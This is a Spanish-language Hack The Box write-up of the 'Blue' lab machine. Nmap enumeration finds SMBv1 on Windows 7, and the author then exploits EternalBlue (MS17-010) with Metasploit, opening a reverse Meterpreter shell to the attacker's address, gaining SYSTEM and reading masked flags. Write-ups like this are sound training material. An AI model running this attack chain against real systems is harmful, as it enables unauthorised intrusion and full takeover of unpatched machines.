Enumeración
La fase de enumeración inició verificando la conectividad mediante ping, donde el TTL=127 nos indicó de inmediato que nos enfrentábamos a una máquina Windows. Un escaneo inicial de puertos con Nmap reveló la apertura de los puertos clásicos de entornos Microsoft:
- 135/tcp: MSRPC
- 139/tcp: NetBIOS
- 445/tcp: SMB
Al realizar un escaneo más profundo con scripts de enumeración -sCV, confirmamos que el sistema operativo era Windows 7 Professional 7601 Service Pack 1. Dado que este sistema suele ser vulnerable si no está parcheado, ejecutamos el script de Nmap enfocados en el protocolo SMB (smb-protocols). Los resultados fueron contundentes: el servidor tenía habilitado SMBv1 y fue catalogado directamente como VULNERABLE a ejecución remota de código a través del infame CVE-2017-0143, conocido como EternalBlue.
# Comprobar la conexión y el ttl=127 que nos indica que es una máquina Windows
# [-c 1] Enviar solo 1 paquete ICMP para comprobar conectividad
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ ping -c 1 10.129.20.252
PING 10.129.20.252 (10.129.20.252) 56(84) bytes of data.
64 bytes from 10.129.20.252: icmp_seq=1 ttl=127 time=166 ms
# [-p-] Escaneo de todos los puertos (1-65535)
# [-sS] Escaneo sigiloso SYN (Stealth Scan)
# [-Pn] Omitir el descubrimiento de hosts (No ping)
# [--min-rate=5000] Enviar un mínimo de 5000 paquetes por segundo para agilizar el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ nmap -p- -sS -Pn --min-rate=5000 10.129.20.252
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-05 21:43 -0400
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
# [-p...] Escanear solo los puertos especificados separados por comas
# [-sCV] Ejecutar scripts por defecto (-sC) y detectar versiones de servicios (-sV)
# [-oN] Guardar el output en formato normal de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ nmap -p135,139,445 -sCV --min-rate=5000 10.129.20.252 -oN scan.nmap
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -19m55s, deviation: 34m36s, median: 2s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-04-06T02:46:18+01:00
| smb2-time:
| date: 2026-04-06T01:46:20
|_ start_date: 2026-04-06T01:39:53
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
# [--script] Ejecutar un script específico del Nmap Scripting Engine (NSE)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ nmap -p445 --script smb-protocols 10.129.20.252
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2.0.2
|_ 2.1
Explotación
Dado que EternalBlue MS17-010 es una vulnerabilidad que corrompe el pool de memoria del kernel de Windows, su explotación exitosa no nos otorga un usuario de bajos privilegios, sino que nos proporciona acceso administrativo directo. Por lo tanto, las fases de intrusión y escalada de privilegios ocurren simultáneamente.
Para explotar esta vulnerabilidad, utilizarémos la herramienta Metasploit. Tras iniciar la consola del Framework, buscamos la vulnerabilidad correspondiente y seleccionamos el exploit exploit/windows/smb/ms17_010_eternalblue. Configuramos los parámetros esenciales: el HOSTS apuntando a nuestra máquina objetivo y el LHOST hacia nuestra dirección de VPN para recibir la conexión.
Ejecutamos el comando check para revalidar la vulnerabilidad desde Metasploit, lo cual fue confirmado positivamente. Al lanzar el comando exploit, el módulo logró sobrescribir exitosamente el buffer en el objetivo, enviando la estructura del payload y abriendo una sesión inversa de Meterpreter. Al verificar nuestros privilegios con getuid, confirmamos que teníamos control absoluto del sistema como NT AUTHORITY\SYSTEM. Finalmente, navegamos por los directorios de los usuarios haris y Administrator para recolectar ambas flags: user.txt y root.txt.
# [-q] Modo silencioso (Quiet). Inicia msfconsole sin mostrar el banner visual
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ msfconsole -q
msf > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . . . .
2 \_ target: Windows 7 . . . .
...
...
...
msf > use 2
[*] Additionally setting TARGET => Windows 7
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14
msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.15.174
lhost => 10.10.15.174
msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.129.20.252
rhosts => 10.129.20.252
msf exploit(windows/smb/ms17_010_eternalblue) > check
[*] 10.129.20.252:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.20.252:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.129.20.252:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.20.252:445 - The target is vulnerable.
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.15.174:4444
[*] 10.129.20.252:445 - Connecting to target for exploitation.
[+] 10.129.20.252:445 - Connection established for exploitation.
[+] 10.129.20.252:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.20.252:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.20.252:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.20.252:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.20.252:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
...
...
...
[*] 10.129.20.252:445 - Receiving response from exploit packet
[+] 10.129.20.252:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.20.252:445 - Sending egg to corrupted connection.
[*] 10.129.20.252:445 - Triggering free of corrupted buffer.
[*] Sending stage (244806 bytes) to 10.129.20.252
[*] Meterpreter session 1 opened (10.10.15.174:4444 -> 10.129.20.252:49159) at 2026-04-06 00:34:13 -0400
[+] 10.129.20.252:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.20.252:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.20.252:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Windows\system32
meterpreter > ls C:/Users/
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 8192 dir 2017-07-21 02:56:36 -0400 Administrator
040555/r-xr-xr-x 8192 dir 2009-07-14 03:07:31 -0400 Default
040555/r-xr-xr-x 4096 dir 2011-04-12 03:51:29 -0400 Public
040777/rwxrwxrwx 8192 dir 2017-07-14 09:45:53 -0400 haris
meterpreter > cat C:/Users/haris/Desktop/user.txt
9c****************************fc
meterpreter > cat C:/Users/Administrator/Desktop/root.txt
26****************************02